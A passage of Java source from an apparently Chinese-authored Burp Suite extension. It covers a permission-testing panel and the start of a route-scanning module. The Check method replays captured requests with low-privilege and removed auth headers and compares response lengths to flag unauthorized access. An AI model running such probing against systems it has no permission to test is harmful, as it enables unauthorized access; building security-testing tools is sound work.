panel.setLayout(new BorderLayout());\n        panel.setMaximumSize(panel.getPreferredSize()); // 设置最大尺寸等于首选尺寸，禁止自动调整\n        JPanel mainsplitPane = new JPanel(new BorderLayout());\n\n        // 左边的面板\n        // 左边的面板上下分割,比例为7：3\n        JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        leftSplitPane.setResizeWeight(0.7);\n        leftSplitPane.setDividerLocation(0.7);\n\n        // 将urlTable添加到leftSplitPane的上边\n        JScrollPane leftScrollPane = new JScrollPane();\n        permTable = new URLTable(new PermModel());\n        permTable.setAutoCreateRowSorter(true);\n        leftScrollPane.setViewportView(permTable);\n        leftSplitPane.setTopComponent(leftScrollPane);\n\n        // 左边的面板下部分对称分割，比例为5：5\n        JSplitPane leftBottomSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        leftBottomSplitPane.setResizeWeight(0.5);\n        leftBottomSplitPane.setDividerLocation(0.5);\n        leftSplitPane.setBottomComponent(leftBottomSplitPane);\n\n        // 请求tab\n        tabbedPanereqresp = new JTabbedPane();\n        // 添加原始请求面板\n        originPane = new JPanel(new BorderLayout());\n        final JSplitPane originPaneSplitPane = new JSplitPane();\n        originPaneSplitPane.setDividerSize(1);\n        originPaneSplitPane.setResizeWeight(0.5);\n        originarequest = Utils.callbacks.createMessageEditor(PermUI.this, true);\n        originaresponse = Utils.callbacks.createMessageEditor(PermUI.this, false);\n        originPaneSplitPane.setLeftComponent(originarequest.getComponent());\n        originPaneSplitPane.setRightComponent(originaresponse.getComponent());\n        originPane.add(originPaneSplitPane, BorderLayout.CENTER);\n        tabbedPanereqresp.addTab(I18nUtils.get(\"perm.tab.original\"), originPane);\n        // 添加低权限请求面板\n        lowpermPane = new JPanel(new BorderLayout());\n        final JSplitPane lowpermPaneSplitPane = new JSplitPane();\n        lowpermPaneSplitPane.setDividerSize(1);\n        lowpermPaneSplitPane.setResizeWeight(0.5);\n        lowpermrequest = Utils.callbacks.createMessageEditor(PermUI.this, true);\n        lowpermresponse = Utils.callbacks.createMessageEditor(PermUI.this, false);\n        lowpermPaneSplitPane.setLeftComponent(lowpermrequest.getComponent());\n        lowpermPaneSplitPane.setRightComponent(lowpermresponse.getComponent());\n        lowpermPane.add(lowpermPaneSplitPane, BorderLayout.CENTER);\n        tabbedPanereqresp.addTab(I18nUtils.get(\"perm.tab.low\"), lowpermPane);\n        // 添加无权限请求面板\n        nopermPane = new JPanel(new BorderLayout());\n        final JSplitPane nopermPaneSplitPane = new JSplitPane();\n        nopermPaneSplitPane.setDividerSize(1);\n        nopermPaneSplitPane.setResizeWeight(0.5);\n        nopermrequest = Utils.callbacks.createMessageEditor(PermUI.this, true);\n        nopermresponse = Utils.callbacks.createMessageEditor(PermUI.this, false);\n        nopermPaneSplitPane.setLeftComponent(nopermrequest.getComponent());\n        nopermPaneSplitPane.setRightComponent(nopermresponse.getComponent());\n        nopermPane.add(nopermPaneSplitPane, BorderLayout.CENTER);\n        tabbedPanereqresp.addTab(I18nUtils.get(\"perm.tab.no\"), nopermPane);\n\n        // 请求tab添加到leftBottomSplitPane的左边\n        leftBottomSplitPane.setLeftComponent(tabbedPanereqresp);\n\n        // 将leftSplitPane添加到mainsplitPane的左边\n        mainsplitPane.add(leftSplitPane, BorderLayout.CENTER);\n\n        JPanel rightSplitPane = new JPanel(new BorderLayout());\n        rightSplitPane.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));\n        \n        // 右边的上面 - 扫描选项\n        JPanel scanOptionsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5));\n        scanOptionsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"perm.border.scan_options\")));\n        // 被动扫描选择框\n        passiveScanCheckBox = new JCheckBox(I18nUtils.get(\"perm.checkbox.passive\"));\n        // 白名单域名选择框\n        whiteDomainListCheckBox = new JCheckBox(I18nUtils.get(\"perm.checkbox.whitelist\"));\n        scanOptionsPanel.add(passiveScanCheckBox);\n        scanOptionsPanel.add(whiteDomainListCheckBox);\n\n        // 右边的中间 - 配置区域\n        JPanel configPanel = new JPanel(new BorderLayout(5, 5));\n        configPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"perm.border.configuration\")));\n        \n        // 白名单域名配置\n        JPanel whitelistPanel = new JPanel(new BorderLayout(5, 5));\n        // 白名单域名Label\n        JLabel whiteListLabel = new JLabel(I18nUtils.get(\"perm.label.whitelist\"));\n        // 白名单域名输入框\n        whiteDomainListTextArea = new JTextArea(5,10);\n        whiteDomainListTextArea.setLineWrap(false); // 自动换行\n        whiteDomainListTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane whiteListTextAreascrollPane = new JScrollPane(whiteDomainListTextArea);\n        // 保存白名单按钮\n        saveWhiteDomainButton = new JButton(I18nUtils.get(\"perm.button.save_whitelist\"));\n        whitelistPanel.add(whiteListLabel, BorderLayout.NORTH);\n        whitelistPanel.add(whiteListTextAreascrollPane, BorderLayout.CENTER);\n        JPanel whitelistButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        whitelistButtonPanel.add(saveWhiteDomainButton);\n        whitelistPanel.add(whitelistButtonPanel, BorderLayout.SOUTH);\n\n        // 认证数据配置\n        JPanel authDataPanel = new JPanel(new BorderLayout(5, 5));\n        // 保存认证数据按钮\n        saveAuthDataButton = new JButton(I18nUtils.get(\"perm.button.save_auth\"));\n        // 导出按钮\n        exportButton = new JButton(I18nUtils.get(\"perm.button.export\"));\n        // 低权限认证请求信息Label\n        JLabel lowPermAuthLabel = new JLabel(I18nUtils.get(\"perm.label.low_auth\"));\n        // 低权限认证请求信息输入框\n        lowPermAuthTextArea = new JTextArea(5,10);\n        lowPermAuthTextArea.setLineWrap(false); // 自动换行\n        lowPermAuthTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane lowPermAuthTextAreascrollPane = new JScrollPane(lowPermAuthTextArea);\n\n        // 无权限认证请求信息Label\n        JLabel noPermAuthLabel = new JLabel(I18nUtils.get(\"perm.label.no_auth\"));\n        // 无权限认证请求信息输入框\n        noPermAuthTextArea = new JTextArea(5,10);\n        noPermAuthTextArea.setLineWrap(false); // 自动换行\n        noPermAuthTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane noPermAuthTextAreascrollPane = new JScrollPane(noPermAuthTextArea);\n\n        // 将认证信息放入分割面板\n        JSplitPane authSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        authSplitPane.setResizeWeight(0.5);\n        authSplitPane.setDividerLocation(0.5);\n        \n        JPanel lowPermPanel = new JPanel(new BorderLayout(5, 5));\n        lowPermPanel.add(lowPermAuthLabel, BorderLayout.NORTH);\n        lowPermPanel.add(lowPermAuthTextAreascrollPane, BorderLayout.CENTER);\n        \n        JPanel noPermPanel = new JPanel(new BorderLayout(5, 5));\n        noPermPanel.add(noPermAuthLabel, BorderLayout.NORTH);\n        noPermPanel.add(noPermAuthTextAreascrollPane, BorderLayout.CENTER);\n        \n        authSplitPane.setTopComponent(lowPermPanel);\n        authSplitPane.setBottomComponent(noPermPanel);\n        \n        JPanel authButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5));\n        authButtonPanel.add(saveAuthDataButton);\n        authButtonPanel.add(exportButton);\n        authDataPanel.add(authButtonPanel, BorderLayout.NORTH);\n        authDataPanel.add(authSplitPane, BorderLayout.CENTER);\n\n        // 将白名单和认证数据配置放入分割面板\n        JSplitPane configSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        configSplitPane.setResizeWeight(0.3);\n        configSplitPane.setDividerLocation(0.3);\n        configSplitPane.setTopComponent(whitelistPanel);\n        configSplitPane.setBottomComponent(authDataPanel);\n        configPanel.add(configSplitPane, BorderLayout.CENTER);\n\n        // 右边的下面 - 操作按钮\n        JPanel actionButtonsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5));\n        actionButtonsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"perm.border.actions\")));\n        // 刷新按钮\n        refreshButton = new JButton(I18nUtils.get(\"perm.button.refresh\"));\n        // 清空数据按钮\n        clearButton = new JButton(I18nUtils.get(\"perm.button.clear\"));\n        actionButtonsPanel.add(refreshButton);\n        actionButtonsPanel.add(clearButton);\n\n        // 将所有面板放入主面板\n        JSplitPane mainRightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        mainRightSplitPane.setResizeWeight(0.2);\n        mainRightSplitPane.setDividerLocation(0.2);\n        mainRightSplitPane.setTopComponent(scanOptionsPanel);\n        \n        JPanel configAndActionsPanel = new JPanel(new BorderLayout(5, 5));\n        configAndActionsPanel.add(configPanel, BorderLayout.CENTER);\n        configAndActionsPanel.add(actionButtonsPanel, BorderLayout.SOUTH);\n        mainRightSplitPane.setBottomComponent(configAndActionsPanel);\n        \n        rightSplitPane.add(mainRightSplitPane, BorderLayout.CENTER);\n\n        // 将rightSplitPane添加到mainsplitPane的右边\n        mainsplitPane.add(rightSplitPane, BorderLayout.EAST);\n        panel.add(mainsplitPane, BorderLayout.CENTER);\n    }\n\n\n\n    // 核心检测方法\n    public static void Check(IHttpRequestResponse[] responses, boolean isSend) {\n        lock.lock();\n        try{\n            IHttpRequestResponse baseRequestResponse = responses[0];\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String method = analyzeRequest.getMethod();\n            String host = baseRequestResponse.getHttpService().getHost();\n            URL rdurlURL = analyzeRequest.getUrl();\n            String url = analyzeRequest.getUrl().toString();\n            List<IParameter> paraLists = analyzeRequest.getParameters();\n\n            // 如果method不是get或者post方式直接返回\n            if (!method.equals(\"GET\") && !method.equals(\"POST\")) {\n                return;\n            }\n            // 如果是右键发送的则不进行去重\n            if (!isSend) {\n                if (!UrlCacheUtil.checkUrlUnique(\"perm\", method, rdurlURL, paraLists)) {\n                    return;\n                }\n            } else {\n                isWhiteDomainList = false;\n            }\n\n            // url 中匹配为静态资源\n            if (Utils.isUrlBlackListSuffix(url)){\n                return;\n            }\n            // 开启白名单域名检测\n            if (isWhiteDomainList) {\n                List<PermBean> domain = getPermListsByType(\"domain\");\n                if (domain.isEmpty()) {\n                    JOptionPane.showMessageDialog(null, I18nUtils.get(\"perm.message.fill_whitelist\"), I18nUtils.get(\"config.title.info\"), JOptionPane.ERROR_MESSAGE);\n                    return;\n                }\n                // 将domain转为List<String>\n                List<String> domainList = new ArrayList<>();\n                for (PermBean permBean : domain) {\n                    domainList.add(permBean.getValue());\n                }\n                // 如果未匹配到 直接返回\n                if (!Utils.isMatchDomainName(host,domainList)){\n                    return;\n                }\n            }\n\n            // 原始请求\n            List<String> originalheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            byte[] byte_Request = baseRequestResponse.getRequest();\n            int bodyOffset = analyzeRequest.getBodyOffset();\n            int len = byte_Request.length;\n            byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len);\n            byte[] postMessage = Utils.helpers.buildHttpMessage(originalheaders, body);\n            IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage);\n            byte[] responseBody = originalRequestResponse.getResponse();\n            String originallength = \"\";\n            if (responseBody != null) {\n                IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody);\n                List<String> headers = originalReqResponse.getHeaders();\n                for (String header : headers) {\n                    String[] parts = header.split(\":\");\n                    if (parts.length == 2 && \"Content-Length\".equalsIgnoreCase(parts[0].trim())) {\n                        originallength = parts[1].trim();\n                        break;\n                    }\n                }\n            }\n            if (originallength.isEmpty()) {\n                assert responseBody != null;\n                originallength = String.valueOf(responseBody.length);\n            }\n            // 如果原始请求的响应体为空，则不进行后续操作\n            if (responseBody == null) {\n                return;\n            }\n            // 获取低权限数据去构造请求\n            List<String> lowheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            List<PermBean> permBeanLowAuth = getPermListsByType(\"permLowAuth\");\n            for (PermBean permBean : permBeanLowAuth) {\n                String lowAuthText = permBean.getValue();\n                String head = lowAuthText.split(\":\")[0];\n                boolean headerFound = false;\n                for (int i = 0; i < lowheaders.size(); i++) {\n                    String lowheader = lowheaders.get(i).split(\":\")[0];\n                    if (lowheader.equals(head)) {\n                        lowheaders.set(i, lowAuthText);\n                        headerFound = true;\n                        break;\n                    }\n                }\n                if (!headerFound) {\n                    lowheaders.add(lowAuthText);\n                }\n            }\n            byte[] lowMessage = Utils.helpers.buildHttpMessage(lowheaders, body);\n            IHttpRequestResponse lowRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), lowMessage);\n            byte[] lowresponseBody = lowRequestResponse.getResponse();\n            String lowlength = \"\";\n            IResponseInfo lowReqResponse = Utils.helpers.analyzeResponse(lowresponseBody);\n            List<String> lowReqResheaders = lowReqResponse.getHeaders();\n            for (String header : lowReqResheaders) {\n                String[] parts = header.split(\":\");\n                if (parts.length == 2 && \"Content-Length\".equalsIgnoreCase(parts[0].trim())) {\n                    lowlength = parts[1].trim();\n                    break;\n                }\n            }\n            if (lowlength.isEmpty()) {\n                lowlength = String.valueOf(lowresponseBody.length);\n            }\n            // 无权限请求\n            List<String> noheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            List<PermBean> permBeanNoAuth = getPermListsByType(\"permNoAuth\");\n            List<String> updatedHeaders = new ArrayList<>();\n\n            for (String header : noheaders) {\n                boolean shouldKeep = true;\n                for (PermBean permBean : permBeanNoAuth) {\n                    String noAuthText = permBean.getValue();\n                    String head = header.split(\":\")[0];\n                    if (head.equals(noAuthText)) {\n                        shouldKeep = false;\n                        break;\n                    }\n                }\n                if (shouldKeep) {\n                    updatedHeaders.add(header);\n                }\n            }\n            // 更新原始的noheaders列表\n            noheaders.clear();\n            noheaders.addAll(updatedHeaders);\n\n            byte[] noMessage = Utils.helpers.buildHttpMessage(noheaders, body);\n            IHttpRequestResponse noRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), noMessage);\n            byte[] noresponseBody = noRequestResponse.getResponse();\n            String nolength = \"\";\n            IResponseInfo noReqResponse = Utils.helpers.analyzeResponse(noresponseBody);\n            List<String> noReqResheaders = noReqResponse.getHeaders();\n            for (String header : noReqResheaders) {\n                String[] parts = header.split(\":\");\n                if (parts.length == 2 && \"Content-Length\".equalsIgnoreCase(parts[0].trim())) {\n                    nolength = parts[1].trim();\n                    break;\n                }\n            }\n            if (nolength.isEmpty()) {\n                nolength = String.valueOf(noresponseBody.length);\n            }\n            String isSuccess = \"×\";\n            if (originallength.equals(lowlength) && lowlength.equals(nolength)) {\n                isSuccess = \"未授权\";\n            } else if (originallength.equals(lowlength)) {\n                isSuccess = \"存在越权\";\n            } else {\n                isSuccess = \"不存在\";\n            }\n\n            add(method, url, originallength, lowlength, nolength, isSuccess, originalRequestResponse, lowRequestResponse, noRequestResponse);\n//            add(method, url, originallength, lowlength, nolength, isSuccess, baseRequestResponse, lowRequestResponse, noRequestResponse);\n        }finally {\n            lock.unlock();\n        }\n\n    }\n\n    private static void add(String method, String url, String originalength, String lowlength, String nolength, String isSuccess, IHttpRequestResponse baseRequestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) {\n        synchronized (permlog) {\n            int id = permlog.size();\n            permlog.add(new PermEntry(id, method, url, originalength, lowlength, nolength, isSuccess, baseRequestResponse, lowRequestResponse, noRequestResponse));\n            permTable.updateUI();\n        }\n    }\n\n    // perm 模型\n    static class PermModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return permlog.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 7;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            switch (columnIndex) {\n                case 0:\n                    return permlog.get(rowIndex).id;\n                case 1:\n                    return permlog.get(rowIndex).method;\n                case 2:\n                    return permlog.get(rowIndex).url;\n                case 3:\n                    return permlog.get(rowIndex).originalength;\n                case 4:\n                    return permlog.get(rowIndex).lowlength;\n                case 5:\n                    return permlog.get(rowIndex).nolength;\n                case 6:\n                    return permlog.get(rowIndex).isSuccess;\n                default:\n                    return null;\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"id\";\n                case 1:\n                    return \"method\";\n                case 2:\n                    return \"url\";\n                case 3:\n                    return \"originalength\";\n                case 4:\n                    return \"lowlength\";\n                case 5:\n                    return \"nolength\";\n                case 6:\n                    return \"isSuccess\";\n                default:\n                    return null;\n            }\n        }\n        \n        @Override\n        public Class<?> getColumnClass(int column) {\n            if (column == 0) {\n                return Integer.class;\n            }\n            return super.getColumnClass(column);\n        }\n    }\n\n    // perm 实体\n    private static class PermEntry {\n        final int id;\n        final String method;\n        final String url;\n        final String originalength;\n        final String lowlength;\n        final String nolength;\n        final String isSuccess;\n        IHttpRequestResponse requestResponse;\n        IHttpRequestResponse lowRequestResponse;\n        IHttpRequestResponse noRequestResponse;\n\n        public PermEntry(int id, String method, String url, String originalength, String lowlength, String nolength, String isSuccess, IHttpRequestResponse requestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) {\n            this.id = id;\n            this.method = method;\n            this.url = url;\n            this.originalength = originalength;\n            this.lowlength = lowlength;\n            this.nolength = nolength;\n            this.isSuccess = isSuccess;\n            this.requestResponse = requestResponse;\n            this.lowRequestResponse = lowRequestResponse;\n            this.noRequestResponse = noRequestResponse;\n        }\n    }\n\n    // perm 表格\n    private class URLTable extends JTable {\n        public URLTable(TableModel tableModel) {\n            super(tableModel);\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n        }\n\n        @Override\n        public void changeSelection(int row, int col, boolean toggle, boolean extend) {\n            PermEntry logEntry = permlog.get(row);\n            originarequest.setMessage(logEntry.requestResponse.getRequest(), true);\n            originaresponse.setMessage(logEntry.requestResponse.getResponse(), false);\n            if (logEntry.lowRequestResponse == null || logEntry.noRequestResponse == null) {\n                lowpermrequest.setMessage(null, false);\n                lowpermresponse.setMessage(null, false);\n                nopermrequest.setMessage(null, false);\n                nopermresponse.setMessage(null, false);\n                return;\n            }\n            lowpermrequest.setMessage(logEntry.lowRequestResponse.getRequest(), true);\n            lowpermresponse.setMessage(logEntry.lowRequestResponse.getResponse(), false);\n            nopermrequest.setMessage(logEntry.noRequestResponse.getRequest(), true);\n            nopermresponse.setMessage(logEntry.noRequestResponse.getResponse(), false);\n            currentlyDisplayedItem = logEntry.requestResponse;\n            super.changeSelection(row, col, toggle, extend);\n        }\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/RouteUI.java",
    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.bean.RouteBean;\nimport burp.utils.CustomScanIssue;\nimport burp.utils.ExpressionUtils;\nimport burp.utils.I18nUtils;\nimport burp.utils.UrlCacheUtil;\nimport burp.utils.Utils;\nimport burp.utils.SmartRequestDetector;\nimport javax.swing.*;\nimport javax.swing.table.*;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.net.URL;\nimport java.util.List;\nimport java.util.*;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\nimport static burp.dao.RouteDao.*;\n\n/**\n * @Author Xm17\n * @Date 2024-06-22 22:02\n */\npublic class RouteUI implements UIHandler, IMessageEditorController, IHttpListener {\n    private JPanel panel; // 主面板\n    private static IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求\n    private IMessageEditor HRequestTextEditor; // 请求\n    private IMessageEditor HResponseTextEditor; // 响应\n    private JTabbedPane tabbedPanereq; // 请求tab\n    private JTabbedPane tabbedPaneresp; // 响应tab\n    private static RouteIssusTable issusTable; // 问题表格\n    private RouteTable ruleTable; // 规则表格\n    private static final List<RouteIssusEntry> issuslog = new ArrayList<>();  // urldata\n    private static final List<RouteEntry> routelog = new ArrayList<>();  // routelog\n    private JScrollPane issustablescrollpane; // 问题表格滚动面板\n    private JScrollPane ruleTableScrollPane; // 规则表格滚动面板\n    private JButton refreshButton; // 刷新按钮\n    private JButton clearButton; // 清空按钮\n    private JCheckBox passiveCheckBox; // 被动扫描选择框\n    private JTextField nameTextField; // name输入框\n    private JTextField pathTextField; // path输入框\n    private JTextField expressTextField; // express输入框\n    private JButton addButton; // 添加按钮\n    private JButton deleteButton; // 删除按钮\n    private JButton enableButton; // 开启按钮\n    private boolean passiveScan; // 是否被动扫描\n    private static  List<String> urlHashList = new ArrayList<>(); // urlHash列表\n    private static  List<RouteBean> routeList = new ArrayList<>(); // routeList列表\n    static Set<String> uniqueUrl = new HashSet<>(); // 存放已经扫描出来的url\n    private static final Lock lock = new ReentrantLock();\n    private static final Set<String> discoveredIssues = Collections.synchronizedSet(new HashSet<>()); // 问题集合，用于去重\n\n    /**\n     * 重置所有缓存（供外部调用）\n     */\n    public static void resetAllCaches() {\n        uniqueUrl.clear();\n        urlHashList.clear();\n        discoveredIssues.clear();\n        UrlCacheUtil.resetCache(\"route\");\n    }\n\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) {\n        if (toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && passiveScan) {\n            synchronized (issuslog) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        Check(new IHttpRequestResponse[]{iHttpRequestResponse},false);\n                    }\n                });\n                thread.start();\n            }\n        }\n    }\n\n    @Override\n    public IHttpService getHttpService() {\n        return currentlyDisplayedItem.getHttpService();\n    }\n\n    @Override\n    public byte[] getRequest() {\n        return currentlyDisplayedItem.getRequest();\n    }\n\n    @Override\n    public byte[] getResponse() {\n        return currentlyDisplayedItem.getResponse();\n    }\n\n    @Override\n    public void init() {\n\n\n        // 获取payload\n        routeList = getRouteLists();\n\n        setupUI();\n        setupData();\n    }\n    // 初始化数据\n    private void setupData() {\n        //ruleTable\n        List<RouteBean> routeLists = getRouteLists();\n        for (int i = 0; i < routeLists.size(); i++) {\n            RouteBean routeBean = routeLists.get(i);\n            routelog.add(new RouteEntry(i, routeBean.getEnable(), routeBean.getName(), routeBean.getPath(), routeBean.getExpress()));\n        }\n        // 刷新\n        refreshButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                issusTable.updateUI();\n                routelog.clear();\n                List<RouteBean> routeLists = getRouteLists();\n                for (int i = 0; i < routeLists.size(); i++) {\n                    RouteBean routeBean = routeLists.get(i);\n                    routelog.add(new RouteEntry(i, routeBean.getEnable(), routeBean.getName(), routeBean.getPath(), routeBean.getExpress()));\n                }\n                ruleTable.updateUI();\n            }\n        });\n        // 清空\n        clearButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                issuslog.clear();\n                uniqueUrl.clear();  // 清空去重集合\n                UrlCacheUtil.resetCache(\"route\");  // 清空URL缓存\n                issusTable.updateUI();\n                HRequestTextEditor.setMessage(new byte[0], true);\n                HResponseTextEditor.setMessage(new byte[0], false);\n            }\n        });\n        // 被动扫描\n        passiveCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (passiveCheckBox.isSelected()) {\n                    passiveScan = true;\n                } else {\n                    passiveScan = false;\n                }\n            }\n        });\n        // 添加规则\n        addButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String name = nameTextField.getText();\n                String path = pathTextField.getText();\n                String express = expressTextField.getText();\n                RouteBean routeBean = new RouteBean();\n                routeBean.setEnable(1);\n                routeBean.setName(name);\n                routeBean.setPath(path);\n                routeBean.setExpress(express);\n                // 添加到数据库\n                addRoute(routeBean);\n                routelog.clear();\n                List<RouteBean> routeLists = getRouteLists();\n                for (int i = 0; i < routeLists.size(); i++) {\n                    RouteBean routeBean1 = routeLists.get(i);\n                    routelog.add(new RouteEntry(i, routeBean1.getEnable(), routeBean1.getName(), routeBean1.getPath(), routeBean1.getExpress()));\n                }\n                ruleTable.updateUI();\n            }\n        });\n        // 删除选中\n        deleteButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                int selectedRow = ruleTable.getSelectedRow();\n                if (selectedRow == -1) {\n                    return;\n                }\n                RouteEntry routeEntry = routelog.get(selectedRow);\n                RouteBean routeBean = new RouteBean();\n                routeBean.setName(routeEntry.name);\n                routeBean.setPath(routeEntry.path);\n                routeBean.setExpress(routeEntry.express);\n                deleteRoute(routeBean);\n                routelog.clear();\n                List<RouteBean> routeLists = getRouteLists();\n                for (int i = 0; i < routeLists.size(); i++) {\n                    RouteBean routeBean1 = routeLists.get(i);\n                    routelog.add(new RouteEntry(i, routeBean1.getEnable(), routeBean1.getName(), routeBean1.getPath(), routeBean1.getExpress()));\n                }\n                ruleTable.updateUI();\n            }\n        });\n        // 开启选中\n        enableButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                int selectedRow = ruleTable.getSelectedRow();\n                if (selectedRow == -1) {\n                    return;\n                }\n                RouteBean routeBean = new RouteBean();\n                RouteEntry routeEntry = routelog.get(selectedRow);\n                if (routeEntry.enable == 1){\n                    routeBean.setEnable(0);\n                }else if (routeEntry.enable == 0){\n                    routeBean.setEnable(1);\n                }\n                routeBean.setName(routeEntry.name);\n                routeBean.setPath(routeEntry.path);\n                routeBean.setExpress(routeEntry.express);\n                updateRouteEnable(routeBean);\n                routelog.clear();\n                List<RouteBean> routeLists = getRouteLists();\n                for (int i = 0; i < routeLists.size(); i++) {\n                    RouteBean routeBean1 = routeLists.get(i);\n                    routelog.add(new RouteEntry(i, routeBean1.getEnable(), routeBean1.getName(), routeBean1.getPath(), routeBean1.getExpress()));\n                }\n                routeList = getRouteLists();\n                ruleTable.updateUI();\n            }\n        });\n\n    }\n\n    // 初始化ui\n    private void setupUI() {\n        // 注册消息监听\n        Utils.callbacks.registerHttpListener(this);\n        panel = new JPanel(new BorderLayout());\n\n        // 添加一个JPanel 采用flowLayout布局\n        JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        // 添加一个刷新按钮\n        refreshButton = new JButton(I18nUtils.get(\"route.button.refresh\"));\n        topPanel.add(refreshButton);\n        // 添加一个清空按钮\n        clearButton = new JButton(I18nUtils.get(\"route.button.clear\"));\n        topPanel.add(clearButton);\n        // 添加一个被动扫描选择框\n        passiveCheckBox = new JCheckBox(I18nUtils.get(\"route.checkbox.passive\"));\n        topPanel.add(passiveCheckBox);\n        // 添加一个分割符号\n        // 添加一个提示的的Jlabel\n        JLabel tipsLabel = new JLabel(I18nUtils.get(\"route.label.tips\"));\n        topPanel.add(tipsLabel);\n        // 添加一个name的Jlabel\n        JLabel nameLabel = new JLabel(I18nUtils.get(\"route.label.name\"));\n        topPanel.add(nameLabel);\n        // 添加一个name的输入框\n        nameTextField = new JTextField(10);\n        topPanel.add(nameTextField);\n        // 添加一个path的Jlabel\n        JLabel pathLabel = new JLabel(I18nUtils.get(\"route.label.path\"));\n        topPanel.add(pathLabel);\n        // 添加一个path的输入框\n        pathTextField = new JTextField(10);\n        topPanel.add(pathTextField);\n        // 添加一个Express的Jlabel\n        JLabel expressLabel = new JLabel(I18nUtils.get(\"route.label.express\"));\n        topPanel.add(expressLabel);\n        // 添加一个express的输入框\n        expressTextField = new JTextField(10);\n        topPanel.add(expressTextField);\n        // 添加一个添加按钮\n        addButton = new JButton(I18nUtils.get(\"route.button.add\"));\n        topPanel.add(addButton);\n        // 添加一个删除按钮\n        deleteButton = new JButton(I18nUtils.get(\"route.button.delete\"));\n        topPanel.add(deleteButton);\n        // 添加一个开启选中规则按钮\n        enableButton = new JButton(I18nUtils.get(\"route.button.enable\"));\n        topPanel.add(enableButton);\n\n        // 添加一个上下对称分割的面板\n        JSplitPane splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        splitPane.setResizeWeight(0.5);\n        splitPane.setDividerLocation(0.5);\n\n        // 上面的面板左右对称分割\n        JSplitPane topSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        topSplitPane.setResizeWeight(0.5);\n        topSplitPane.setDividerLocation(0.5);\n        // 添加RouteIssusTable\n        issustablescrollpane = new JScrollPane();\n        issusTable = new RouteIssusTable(new RouteIssusModel());\n        issustablescrollpane.setViewportView(issusTable);\n        topSplitPane.setLeftComponent(issustablescrollpane);\n\n        // 添加RouteTable\n        ruleTableScrollPane = new JScrollPane();\n        ruleTable = new RouteTable(new RouteModel());\n        ruleTableScrollPane.setViewportView(ruleTable);\n        topSplitPane.setRightComponent(ruleTableScrollPane);\n\n\n\n        // 下面的面板左右对称分割\n        JSplitPane bottomSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        bottomSplitPane.setResizeWeight(0.5);\n        bottomSplitPane.setDividerLocation(0.5);\n\n        HRequestTextEditor = Utils.callbacks.createMessageEditor(this, true);\n        HResponseTextEditor = Utils.callbacks.createMessageEditor(this, false);\n        tabbedPanereq = new JTabbedPane();\n        tabbedPanereq.addTab(\"Request\", HRequestTextEditor.getComponent());\n        tabbedPaneresp = new JTabbedPane();\n        tabbedPaneresp.addTab(\"Response\", HResponseTextEditor.getComponent());\n        bottomSplitPane.setLeftComponent(tabbedPanereq);\n        bottomSplitPane.setRightComponent(tabbedPaneresp);\n\n\n        splitPane.setTopComponent(topSplitPane);\n        splitPane.setBottomComponent(bottomSplitPane);\n\n\n        // 添加工具到顶部\n        panel.add(topPanel, BorderLayout.NORTH);\n        panel.add(splitPane, BorderLayout.CENTER);\n\n    }\n\n    @Override\n   